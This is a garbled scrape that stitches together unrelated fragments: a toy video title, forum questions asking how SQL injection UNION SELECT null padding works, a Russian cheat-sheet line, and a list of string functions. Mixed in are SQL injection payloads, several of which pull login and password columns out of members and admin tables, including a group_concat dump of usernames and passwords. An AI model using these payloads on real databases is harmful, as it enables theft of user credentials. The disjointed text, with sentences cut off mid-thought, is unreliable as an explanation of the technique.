TOYS-(1)-Outdoor Toys from Steve and Maggie (فیلم).
If you had SELECT * FROM users and users had 4 columns, the UNION must also have 4 columns. As a result, they just used `NULL values to populate
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
CONCAT() returns NULL if any argument is NULL.
select, is obvious. null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в
+and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s). this AAAAA it's more 1000 A.
String Functions ASCII Char Charindex Concat Concat with + Concat_WS
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.